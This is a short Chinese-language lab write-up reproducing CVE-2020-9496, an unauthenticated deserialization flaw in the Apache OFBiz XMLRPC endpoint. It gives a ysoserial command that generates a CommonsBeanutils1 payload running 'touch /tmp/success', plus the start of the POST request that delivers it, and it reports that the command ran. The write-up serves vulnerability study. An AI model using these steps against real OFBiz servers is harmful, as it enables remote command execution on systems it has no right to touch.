ApacheOfBiz 中 XMLRPC 参数的不安全反序列化 (CVE-2020-9496)
Apache OFBiz 是一个开源的企业资源规划 (ERP) 系统。它提供了一套企业应用程序,可以集成和自动化企业的许多业务流程。
OfBiz 在 处公开一个 XMLRPC 端点/webtools/control/xmlrpc
。这是一个未经身份验证的端点,因为身份验证是基于每个服务应用的。但是,XMLRPC 请求是在身份验证之前处理的。作为此处理的一部分,远程调用的任何序列化参数都被反序列化,因此如果类路径包含任何可用作实现远程代码执行的小工具的类,攻击者将能够在任何 OfBiz 服务器上运行任意系统命令与运行 OfBiz 的 servlet 容器具有相同的权限。
参考:
- https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
- https://github.com/dwisiswant0/CVE-2020-9496
- https://www.cnblogs.com/ph4nt0mer/p/13576739.html
漏洞复现
看到登录页面https://192.168.44.132/myportal/control/main
默认没有响应错误信息,我们无法使用参考链接2的POC重现该漏洞,因此请向ysoserial寻求帮助。
生成 CommonsBeanutils1 负载:
1 | java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n" |
替换[base64-payload]
并发送请求:
1 | POST /webtools/control/xmlrpc HTTP/1.1 |
touch /tmp/success
在容器中成功执行: